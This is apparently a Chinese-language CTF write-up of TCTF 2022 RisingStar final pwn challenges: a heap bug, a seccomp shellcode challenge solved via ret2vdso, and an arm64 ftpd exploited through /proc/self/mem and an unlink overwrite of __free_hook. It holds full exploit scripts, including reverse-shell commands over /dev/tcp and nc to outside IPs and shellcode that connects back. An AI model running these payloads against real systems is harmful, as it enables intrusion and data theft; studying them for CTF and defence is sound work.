TCTF 2022 RisingStar Final Pwn WriteUp

还行,没秃头。

TCTF 2022 RisingStar Pwn WriteUp

某天,nightu突然拉我出去玩。

于是在打完12月月初的京麒2023final回南京的第三天立马rush了上海。

虽说是2022final但是已经是2023年末了 0w0

还行,线下没秃头。

还行,还顺路体验了一手A320和B737,虽然飞的很烂就是了。

btw,这应该是系列节目的上篇。至于下篇什么时候出,我也不知道。

c00ledit

Nightu牛逼

经典堆题没检查idx为负。

覆盖低位stderr->_IO_write_ptr,然后打house of apple 2拿shell。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
s=process("./chall")
libc=ELF("./libc-2.35.so")

def menu(ch):
    s.sendlineafter(b"choice: ",str(ch).encode())

def add():
    menu(1)

def edit(idx,off,content):
    menu(3)
    s.sendlineafter(b"Index: ",str(idx).encode())
    s.sendlineafter(b"Offset: ",str(off).encode())
    s.sendafter(b"Content: ",content)

if __name__=="__main__":
    pause()
    add()
    edit(-8,-131,p64(0xfbad1800))
    edit(-8,-91,b"\x00\xa0")
    libc.address=u64(s.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-(0x7f225c462a70-0x7f225c247000)
    success(hex(libc.address))
    edit(-8,-91-8,p64(libc.sym.main_arena-54))
    s.recv(0x96)
    heap_base=u64(s.recv(8))&(~0xfff)-0x1000
    success(hex(heap_base))
    pause()
    # fakeio=flat({
    #     0:b"  sh",
    #     0x28:1,
    #     0xa0:heap_base+0x3b0,
    #     0xd8:libc.sym._IO_wfile_jumps,
    #     0x118:0,
    #     0x130:0,
    #     0x168:libc.sym.system,
    #     0x1e0:heap_base+0x3b0,
    # },filler=b"\x00")
    edit(0,0,b"  sh")
    edit(0,0x28,p64(1))
    edit(0,0xa0,p64(heap_base+0x3c0))
    edit(0,0xd8,p64(libc.sym._IO_wfile_jumps))
    edit(0,0x118,p64(0))
    edit(0,0x130,p64(0))
    edit(0,0x168,p64(libc.sym.system))
    edit(0,0x1e0,p64(heap_base+0x3c0))
    edit(-4,-131+0x68,p64(heap_base+0x2c0))
    menu(5)
    pause()

    s.interactive()

shellcode

既然厂商不想放出来指令集,那各位还是少讨论的好。

——出题人(大意)

无中生有

server & launcher

先简单说说他想要啥:

  • 长度大于等于0x40
  • ELF header不能缺
  • 不能有连续存在的\xcd\x80\x0f\x05,即不能显式的有int 0x80syscall

    这里可以通过把两byte的指令拆分到一个页首一个页尾来绕过检查,页权限r-x,但是下一步……

  • \xcd\x80\x0f\x05每个byte不能单独出现在每页的首尾。

    直接封死了

  • 对ELF header做了一大堆检查
  • 遍历ELF header:
    • 必须是动态链接
    • 不能有?wx的段
    • header不能大于上传ELF的大小

      这里不知道有什么hack :(

launcher里面就开了个沙盒:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x0c 0xc000003e  if (A != ARCH_X86_64) goto 0014
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x15 0x11 0x00 0x00000000  if (A == read) goto 0021
 0004: 0x15 0x10 0x00 0x0000000c  if (A == brk) goto 0021
 0005: 0x15 0x0f 0x00 0x000000e7  if (A == exit_group) goto 0021
 0006: 0x15 0x0e 0x00 0x40000001  if (A == x32_write) goto 0021
 0007: 0x15 0x0d 0x00 0x40000009  if (A == x32_mmap) goto 0021
 0008: 0x15 0x0c 0x00 0x4000000b  if (A == x32_munmap) goto 0021
 0009: 0x15 0x00 0x0c 0x0000003b  if (A != execve) goto 0022
 0010: 0x20 0x00 0x00 0x00000014  A = filename >> 32 # execve(filename, argv, envp)
 0011: 0x15 0x00 0x0a 0x00007ffc  if (A != 0x7ffc) goto 0022
 0012: 0x20 0x00 0x00 0x00000010  A = filename # execve(filename, argv, envp)
 0013: 0x15 0x07 0x08 0x01bfa738  if (A == 0x1bfa738) goto 0021 else goto 0022
 0014: 0x15 0x00 0x07 0x40000003  if (A != ARCH_I386) goto 0022
 0015: 0x20 0x00 0x00 0x00000000  A = sys_number
 0016: 0x15 0x04 0x00 0x00000001  if (A == i386.exit) goto 0021
 0017: 0x15 0x03 0x00 0x00000006  if (A == i386.close) goto 0021
 0018: 0x15 0x00 0x03 0x00000005  if (A != i386.open) goto 0022
 0019: 0x20 0x00 0x00 0x00000018  A = statbuf # fstat(fd, statbuf)
 0020: 0x15 0x00 0x01 0x00000000  if (A != 0x0) goto 0022
 0021: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0022: 0x06 0x00 0x00 0x00000000  return KILL

思路

先看沙盒。

禁了x86的execve,x64的限制了文件名,考虑orw。

x86给了open和close,限制了fd等于没限制。

x64给了read,x86给了write,orw思路基本就出来了。

现在的核心问题就是你去哪找syscall了。

预期解法是ret2vdso,也是我第一次在正赛中见到此类题目。

see-also1: zhihu-linux-vdso

see-also2: linux-vdso-fromhackmd

简单说,vdso里面有一些常用的系统调用的实现,比如gettimeofday,这里面就有syscall指令。

而栈中是存在vdso基址的(在elf auxiliary vector中),且其中各个函数的偏移可以通过遍历相关结构体得到。或者你直接暴力搜一波也不是不行

找一个受上下文影响不大的,且基本不会影响上下文的call过去,syscall的问题就解决了。

x86的syscall也没必要retf,直接mmap一段rwx然后弄个int 0x80进去,最后call就行了。

下面的exp可以用musl静态编译,本地复现通过。

更优雅的方法可以通过纯汇编实现,然后找个ELF头然后塞进去。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
#include <stdio.h>
#include <stdlib.h>
#include <elf.h>
#include <link.h>
#include <sys/auxv.h>
#include <time.h>
#include <string.h>
#include <unistd.h>
char filename[]="/flag";
typedef int (*clock_gettime_t)(clockid_t, struct timespec *);

int main(int argc, char *argv[], char *envp[]) {
    void *vdso=0;
    __asm__(
        "mov r15,qword ptr [rsp+0x248];"
        "mov qword ptr [rbp-0x40], r15;"
    );
    
    ElfW(Ehdr) *ehdr = (ElfW(Ehdr) *)vdso;
    ElfW(Phdr) *phdrs = (ElfW(Phdr) *)((char *)vdso + ehdr->e_phoff);
    ElfW(Dyn) *dynamic = NULL;

    // 查找动态段
    for (int i = 0; i < ehdr->e_phnum; ++i) {
        if (phdrs[i].p_type == PT_DYNAMIC) {
            dynamic = (ElfW(Dyn) *)((char *)vdso + phdrs[i].p_offset);
            break;
        }
    }

    if (!dynamic) {
        fprintf(stderr, "Dynamic segment not found.\n");
        return EXIT_FAILURE;
    }

    // 查找符号表和字符串表
    ElfW(Sym) *symtab = NULL;
    char *strtab = NULL;
    for (ElfW(Dyn) *d = dynamic; d->d_tag != DT_NULL; ++d) {
        if (d->d_tag == DT_SYMTAB) {
            symtab = (ElfW(Sym) *)((char *)vdso + d->d_un.d_ptr);
        } else if (d->d_tag == DT_STRTAB) {
            strtab = (char *)vdso + d->d_un.d_ptr;
        }
    }

    if (!symtab || !strtab) {
        fprintf(stderr, "Symbol or string table not found.\n");
        return EXIT_FAILURE;
    }

    // 搜索clock_gettime符号
    clock_gettime_t vdso_clock_gettime = NULL;
    for (ElfW(Sym) *sym = symtab; (char *)sym < strtab; ++sym) {
        if (ELF64_ST_TYPE(sym->st_info) == STT_FUNC) {
            const char *name = strtab + sym->st_name;
            // 在musl-libc中,函数名可能不同,需要根据实际情况进行调整
            if (strcmp(name, "__vdso_clock_getres") == 0) {
                vdso_clock_gettime = (clock_gettime_t)((char *)vdso + sym->st_value);
                break;
            }
        }
    }
    vdso_clock_gettime+=90;    
    
    __asm__(
        "mov rax,0x40000009;"
        "mov rdi,0;"
        "mov rsi,0x1000;"
        "mov rdx,0x7;"
        "mov r10,0x22;"
        "mov r8,0;"
        "mov r14, qword ptr [rbp-0x30];" // now syscall in r14
        "call r14;" // mmap space for int 80;ret
        "mov r15,rax;" // now int80 in r15
        "mov byte ptr [r15],0xcd;"
        "mov byte ptr [r15+1],0x80;"
        "mov byte ptr [r15+2],0xc3;"
        "mov rax,5;"
        "lea rbx,filename;"
        "mov rcx,0;"
        "mov rdx,0;"
        "call r15;"
        "mov rdi,rax;"
        "lea rsi,filename;"
        "mov rdx,0x100;"
        "mov rax,0;"
        "call r14;"
        "mov rax,0x40000001;"
        "mov rdi,1;"
        "call r14;"
        "mov rax,0xe7;"
        "mov rdi,137;"
        "call r14;"
    );

    return EXIT_SUCCESS;
}

ftpd

附件下载地址

这次是真的在arm64上跑的ftpd,所有保护能开齐的那种。

他反转了一个逻辑:

1
2
3
4
5
6
7
8
@@ -2635,7 +2635,7 @@ ftp_xfer_dir(ftp_session_t   *session,
     /* check if this is a directory */
     session->dp = opendir(session->buffer);
-    if(session->dp == NULL)
+    if(session->dp != NULL)
     {
       /* not a directory; check if it is a file */
       rc = stat(session->buffer, &st);

本题复现环境是跑在qemu-system-aarch64上的debian,程序送进qemu前做了patchelf,但是没有docker,可能与比赛时的真实环境有一点区别。

坑点在于漏洞分析以及arm下shellcode的两种模式上,学到了很多东西。

非预期(大概)

经典procfs。虽然预期解的地址泄露也是通过/proc/self/maps,所以,一般非预期?

泄露/proc/self/maps可以通过PASV自己连过去拿,或者PORT让他连过来给你。

程序里面是有seek的,所以可以用/proc/self/mem任意写。通过/proc/self/mem_start开始写shellcode即可。

有两点需要注意一下:

  • 似乎code段高地址无法写入(elf_base+[0x7000,0x9000]),目前原因不明。由于低地址可写,此问题略过。

  • 覆盖ABOR写触发shellcode,在gdb调试时发现,程序会跳过函数开头部分指令,所以布置R0的时候写了两遍。

  • arm指令集格式有thumb和arm两种模式,程序默认是thumb,blx长跳时如果最低位为1则会切换到thumb模式,0则切换到arm模式。

    我的exp在触发shellcode时写了一个长跳,所以需要注意这个。

    以下内容来自ChatGPT:

    在ARM架构中,指令地址的对齐是非常重要的。如果指令地址没有正确对齐,可能会导致不可预测的行为,甚至会引发硬件异常。

    对齐要求

    1. ARM模式:指令地址必须是4字节对齐的,即地址的最低两位必须为0。
    2. Thumb模式:指令地址必须是2字节对齐的,即地址的最低位必须为0。

    切换到Thumb模式

    当你使用BXBLX指令切换到Thumb模式时,目标地址的最低位(LSB)必须为1,这不仅仅是为了指示处理器切换到Thumb模式,还可以确保地址在切换后是2字节对齐的。处理器会自动将目标地址的最低位清零,以确保地址对齐。

    示例

    假设你有一个函数thumb_function,它的地址是0x08000002(实际上是0x08000000,但最低位为1表示这是一个Thumb模式地址)。你可以这样切换到Thumb模式:

    1
    2
    3
    
    ; ARM模式代码
    LDR R0, =thumb_function + 1  ; 加1以设置最低位为1
    BX R0                        ; 切换到Thumb模式
    

    在这个例子中,thumb_function的地址是0x08000000,但通过加1,我们将最低位设置为1,这样处理器在执行BX R0指令时会切换到Thumb模式,并且自动将地址对齐到2字节(0x08000000)。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *
context(arch='thumb', os='linux', log_level='debug')
host="192.168.176.138"
s=remote(host,5000)

def ftpcmd(cmd):
    s.sendline(cmd)

def pasv_init(cmd):
    ftpcmd(b"PASV")
    s.recvuntil(b"227 ")
    dat=s.recvline().decode().strip("\r\n").split(',')
    ftpcmd(cmd)
    return remote(host,int(dat[4])*0x100+int(dat[5]))
def pasv_read(cmd):
    read_pipe=pasv_init(cmd)
    dat=read_pipe.recvall()
    read_pipe.close()
    return dat

def pasv_write(cmd,data):
    write_pipe=pasv_init(cmd)
    write_pipe.send(data)
    write_pipe.close()

def leak():
    global elf_base
    maps=pasv_read(b"RETR /proc/self/maps")
    for l in maps.split(b"\n"):
        if l.endswith(b"ftpd"):
            elf_base=int(l.split(b"-")[0],16)
            return

def exploit():
    code=shellcraft.connect("127.0.0.1",12345)+shellcraft.dup2('r6',0)+shellcraft.dup2('r6',1)+shellcraft.dup2('r6',2)+shellcraft.execve("/bin/sh\x00",0,0)
    pasv_write(f"REST {elf_base+0x12f4+12}\nSTOR /proc/self/mem".encode(),asm(code))
    s.interactive()
    shellcode_base=elf_base+0x12f4+12
    code=f"""
    nop
    nop
    movw r0, {(shellcode_base&0xffff)+1}
    movt r0, {shellcode_base>>16}
    movw r0, {(shellcode_base&0xffff)+1}
    movt r0, {shellcode_base>>16}
    bx r0
    """
    pasv_write(f"REST {elf_base+0x5192}\nSTOR /proc/self/mem".encode(),asm(code))
    ftpcmd(b"ABOR") # trigger, goto your remote
if __name__=="__main__":
    leak()
    exploit()
    s.interactive()

预期解

原else分支里面有一个memcpy,盲猜反转逻辑之后可能会导致溢出。

1
2
3
4
5
6
7
8
    session->dp = opendir(session->buffer);
    if(session->dp != NULL)
    {...}
    else
    {
        // is a file, copy file name to session->lwd
        memcpy(session->lwd, session->buffer, session->buffersize);
    }

然后我们来看看session的结构体ftp_session_t

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
/*! ftp session */
struct ftp_session_t
{
  char                 cwd[4096];  /*!< current working directory */
  char                 lwd[4096];  /*!< list working directory */
  struct sockaddr_in   peer_addr;  /*!< peer address for data connection */
  struct sockaddr_in   pasv_addr;  /*!< listen address for PASV connection */
  int                  cmd_fd;     /*!< socket for command connection */
  int                  pasv_fd;    /*!< listen socket for PASV */
  int                  data_fd;    /*!< socket for data transfer */
  time_t               timestamp;  /*!< time from last command */
  session_flags_t      flags;      /*!< session flags */
  xfer_dir_mode_t      dir_mode;   /*!< dir transfer mode */
  session_mlst_flags_t mlst_flags; /*!< session MLST flags */
  session_state_t      state;      /*!< session state */
  ftp_session_t        *next;      /*!< link to next session */
  ftp_session_t        *prev;      /*!< link to prev session */

  loop_status_t (*transfer)(ftp_session_t*);  /*! data transfer callback */
  char     buffer[XFER_BUFFERSIZE];      /*! persistent data between callbacks */
  char     file_buffer[FILE_BUFFERSIZE]; /*! stdio file buffer */
  char     cmd_buffer[CMD_BUFFERSIZE];   /*! command buffer */
  size_t   bufferpos;                    /*! persistent buffer position between callbacks */
  size_t   buffersize;                   /*! persistent buffer size between callbacks */
  size_t   cmd_buffersize;
  uint64_t filepos;                      /*! persistent file position between callbacks */
  uint64_t filesize;                     /*! persistent file size between callbacks */
  FILE     *fp;                          /*! persistent open file pointer between callbacks */
  DIR      *dp;                          /*! persistent open directory pointer between callbacks */
};

如果session->lwd能溢出,就有了两个可能的攻击面:nextprev指针打unlink,transfer指针打“transfer_hook”。

vuln point

让我们回到可能的漏洞点:

1
2
3
4
5
6
7
8
    session->dp = opendir(session->buffer);
    if(session->dp != NULL)
    {...}
    else
    {
        // is a file, copy file name to session->lwd
        memcpy(session->lwd, session->buffer, session->buffersize);  // vuln here ?
    }

这里的sesion->buffer来自ftp_session_read_commandsession->cmd_buffer,大小4096,加上指令前缀的3-4个字节,似乎溢出就没戏了。

但是,注意到流程里面还有一个build_path,此时如果cwd不在根目录的话,会对目录进行一个拼接。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
static int
build_path(ftp_session_t *session,
           const char    *cwd,
           const char    *args)
{
    ...
    if (args[0] == '/') // args is path after cmd prefix
    {...}
    else
    {
        /* this is a relative path */
        if(strcmp(cwd, "/") == 0)
            rc = snprintf(session->buffer, sizeof(session->buffer), "/%s", args);
        else
            rc = snprintf(session->buffer, sizeof(session->buffer), "%s/%s", cwd, args);  // vuln here :)
        if (rc >= sizeof(session->buffer))
        {
            errno = ENAMETOOLONG;
            return -1;
        }
        session->buffersize = rc;
    }
}

此处的cwd长度不会计算在cmd_buffer的长度中,且会在build_path中被snprinfcwdargs拼接起来放到session->buffer中,进而在被反转的逻辑部分被memcpysession->lwd中,造成溢出。

确定溢出存在,可以开打了。

提前说一下,这里的pad_byte不要用\x00,这个服务器会把所有的\x00换成\x0a并做了其他的处理。详见ftp.c中的decode_path函数。

a step advanced

如果你的思路是改__free_hook,那么你的第一个问题就是文件名不能含有/

这就很蛋疼了,如果环境里没有nc的话就很蛋疼了。

这里参考了blingblingxuanxuan师傅的思路,滥用了session->filebuffer[65536]

Ref: blingblingxuanxuan

session->filebuffer[65536]是一个更大且可控性更好的区域,如果我们可以在此处伪造一个session结构体,那就可以绕过上述关于session->cwd的几乎所有限制。

然后设定好flag,让他满足被销毁的条件即可触发。

各种地址通过procfs随便拿,这里不再赘述。

先看看他怎么写的unlink

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
/*! destroy ftp session
 *
 *  @param[in] session ftp session
 *
 *  @returns the next session in the list
 */
static ftp_session_t*
ftp_session_destroy(ftp_session_t *session)
{
    ...
    /* unlink from sessions list */
    if(session->next)
      session->next->prev = session->prev;
    if(session == sessions)
      sessions = session->next;
    else
    {
      session->prev->next = session->next;
      if(session == sessions->prev)
        sessions->prev = session->prev;
    }
    /* deallocate */
    free(session);

    return next;
}

没有任何检查和保护呢 :)

只要保证你能抢到第一个用户,就可以很容易的向session->next->prev写入session->prev的内容。

记得比赛时好像是每三分钟重置一次,这种方式应该还是可行的,就不考虑更麻烦的else分支了。

换言之,如果session->next指向的prev是__free_hooksession->prevsystem+1,就能打了。

注意到ftp_session_destroy之后会把当前session给释放掉,2.31还是有hook存在的,所以考虑打hook,改free_hooksystem

释放的时候指针实际指向session->cwd,所以free(session)等价于system(session->cwd)

anyway,先创建一个叫/;sh的文件夹,然后在gdb里面用set改寄存器测试一下。

ftp_session_destroyfree处打个断点,然后准备一下:

回到gdb发现他已经跑到判断__free_hook有没有东西的地方了;

然后set $r3=&system+1,回到qemu之后就可以看到:

+1 的原因同上面提到的thumb和arm的问题。

完美。

system能用了就可以想想怎么把flag带出来了,这里执行的命令来自session->cwd。正常输入限制比较多,比如不能有斜杠之类的。自己做一个结构体就可以绕过上述问题。

但是他一个session就超级无敌大,如果直接fake不brk的话fake_session会指向当前heap段以外的区域,所以还得另开个session让他brk一下。

至于unlink时候的影响,每次unlink的时候对应的session都在头部,即满足了session == sessions的条件,所以不用担心。

程序中段的pause延时似乎必须,未经严谨测试。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
from pwn import *
context(arch='thumb', os='linux', log_level='debug')
elf_name=b"ftpd"
host="192.168.176.138"
libc=ELF("./lib/libc-2.31.so")

s=remote(host,5000)
elf=ELF("./ftpd")

libc_name=b"libc-2.31.so"
elf_base=0
heap_base=0
libc_base=0

def ftpcmd(cmd):
    s.sendline(cmd)
def pasv_init(cmd):
    ftpcmd(b"PASV")
    s.recvuntil(b"227 ")
    dat=s.recvline().decode().strip("\r\n").split(',')
    ftpcmd(cmd)
    return remote(host,int(dat[4])*0x100+int(dat[5]))
def pasv_read(cmd):
    read_pipe=pasv_init(cmd)
    dat=read_pipe.recvall()
    read_pipe.close()
    return dat
def pasv_write(cmd,data,keepalive=False):
    write_pipe=pasv_init(cmd)
    write_pipe.send(data)
    if keepalive:
        return write_pipe
    write_pipe.close()
def leak():
    global elf_base,heap_base,libc_base
    maps=pasv_read(b"RETR /proc/self/maps")
    for l in maps.split(b"\n"):
        if l.endswith(elf_name) and elf_base==0:
            elf_base=int(l.split(b"-")[0],16)
        elif l.endswith(b"[heap]") and heap_base==0:
            heap_base=int(l.split(b"-")[0],16)
        elif l.endswith(libc_name) and libc_base==0:
            libc_base=int(l.split(b"-")[0],16)
    success(f"elf_base: {hex(elf_base)}\nheap_base: {hex(heap_base)}\nlibc_base: {hex(libc_base)}")
    assert elf_base!=0 and heap_base!=0 and libc_base!=0
def construct_fake_session(cmd=b"/bin/bash -c '/root/flag > /dev/tcp/47.97.58.52/51234'"):
    ret_data=b""
    ret_data+=cmd.ljust(4096,b"\x00") # cwd
    ret_data+=b"\x00"*4096 # lwd
    ret_data+=b"\x00"*0x20 # peer_addr pasv_addr
    ret_data+=b"\xff"*0x10 # cmd_fd pasv_fd data_fd timestamp
    ret_data+=b"\xff"*0x10 # flags dir_mode mlst_flags state
    ret_data+=flat([libc_base+libc.sym.__free_hook-8192-0x40-4,libc_base+libc.sym.system,0xdeadbeef]) # next prev transfer
    return ret_data
def expected_remote():
    ftpcmd(b"MKD /1234")
    ftpcmd(b"MKD /1234/"+b"a"*254)
    ftpcmd(b"MKD /1234/"+b"a"*254+b"/"+b"b"*254)
    ftpcmd(b"MKD /1234/"+b"a"*254+b"/"+b"b"*254+b"/"+b"c"*254)
    ftpcmd(b"CWD /1234/"+b"a"*254+b"/"+b"b"*254+b"/"+b"c"*254)
    rev_shell_cmd=b"/bin/bash -c '/bin/bash -i >& /dev/tcp/47.97.58.52/51234 0>&1'"
    pasv_write(b"STOR /1234/payload",construct_fake_session(rev_shell_cmd)) # fake session in session->filebuffer
    new_sess=remote(host,5000) # to brk heap
    pause() # seems to be necessary, or try sleep?
    payload_to_unlink=b"X"*3325+flat([
        b"\x20"*32,
        0xdeadbeef,0xdeadbeef,0xdeadbeef,0xdeadbeef,
        4,0xdeadbeef,0xdeadbeef,0xdeadbeef,
        #heap_base+0xa5fc,# fake next on x86 test
        heap_base+0xb1e4,
        libc.sym.system+libc_base,
        elf.sym.list_transfer+elf_base
    ])
    ftpcmd(b'STAT '+payload_to_unlink)

if __name__=="__main__":
    leak()
    expected_remote()
    s.interactive()

跑起来,远程服务器就能收到flag/shell了。

某个之前用了nc的废案:(后来才发现远程是给了你一个/challenge/flag让你发flag出去)

这里复现使用的是nc -c sh 1.2.3.4 5678这种方式。也许当时的远程没有nc但是emmm反正是复现。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import *
context(arch='thumb', os='linux', log_level='debug')
elf_name=b"ftpd"
host="192.168.176.138"
libc=ELF("./lib/libc-2.31.so")

s=remote(host,5000)
elf=ELF("./ftpd")

libc_name=b"libc-2.31.so"
elf_base=0
heap_base=0
libc_base=0

def ftpcmd(cmd):
    s.sendline(cmd)
def pasv_init(cmd):
    ftpcmd(b"PASV")
    s.recvuntil(b"227 ")
    dat=s.recvline().decode().strip("\r\n").split(',')
    ftpcmd(cmd)
    return remote(host,int(dat[4])*0x100+int(dat[5]))
def pasv_read(cmd):
    read_pipe=pasv_init(cmd)
    dat=read_pipe.recvall()
    read_pipe.close()
    return dat
def pasv_write(cmd,data):
    write_pipe=pasv_init(cmd)
    write_pipe.send(data)
    write_pipe.close()
def leak():
    global elf_base,heap_base,libc_base
    maps=pasv_read(b"RETR /proc/self/maps")
    for l in maps.split(b"\n"):
        if l.endswith(elf_name) and elf_base==0:
            elf_base=int(l.split(b"-")[0],16)
        elif l.endswith(b"[heap]") and heap_base==0:
            heap_base=int(l.split(b"-")[0],16)
        elif l.endswith(libc_name) and libc_base==0:
            libc_base=int(l.split(b"-")[0],16)
    success(f"elf_base: {hex(elf_base)}\nheap_base: {hex(heap_base)}> \nlibc_base: {hex(libc_base)}")
    assert elf_base!=0 and heap_base!=0 and libc_base!=0

def expected():
    payload_exec="nc -c sh 1.2.3.4 5678"
    ftpcmd(f"MKD /;{payload_exec};")
    ftpcmd(f'MKD /;{payload_exec};/{"a"*(254+2-len(payload_exec))}/'.> encode())
    ftpcmd(f'MKD /;{payload_exec};/{"a"*(254+2-len(payload_exec))}/> {"b"*254}/'.encode())
    ftpcmd(f'MKD /;{payload_exec};/{"a"*(254+2-len(payload_exec))}/> {"b"*254}/{"c"*254}/'.encode())
    ftpcmd(f'CWD /;{payload_exec};/{"a"*(254+2-len(payload_exec))}/> {"b"*254}/{"c"*254}/'.encode())
    payload_to_unlink=b"x"*3325+b"\x20"*32+flat([
        -1,-1,-1,0xdeadbeef,# cmd_fd pasv_fd data_fd timestamp
        0xdeadbeef,0xdeadbeef,0xdeadbeef,0xdeadbeef,# flags dir_mode > mlst_flags state
        libc_base+libc.sym.__free_hook-8192-0x40-4,libc_base+libc.sym.> system, # next prev transfer
    ])
    ftpcmd(b'STAT '+payload_to_unlink)


if __name__=="__main__":
    leak()
    expected()
    s.interactive()

远程效果:

transfer hook

Ref: blingblingxuanxuan

此处不作搬运,transfer_hook是另一种利用路线,打ROP和shellcode的后利用方式也更为优雅。

0%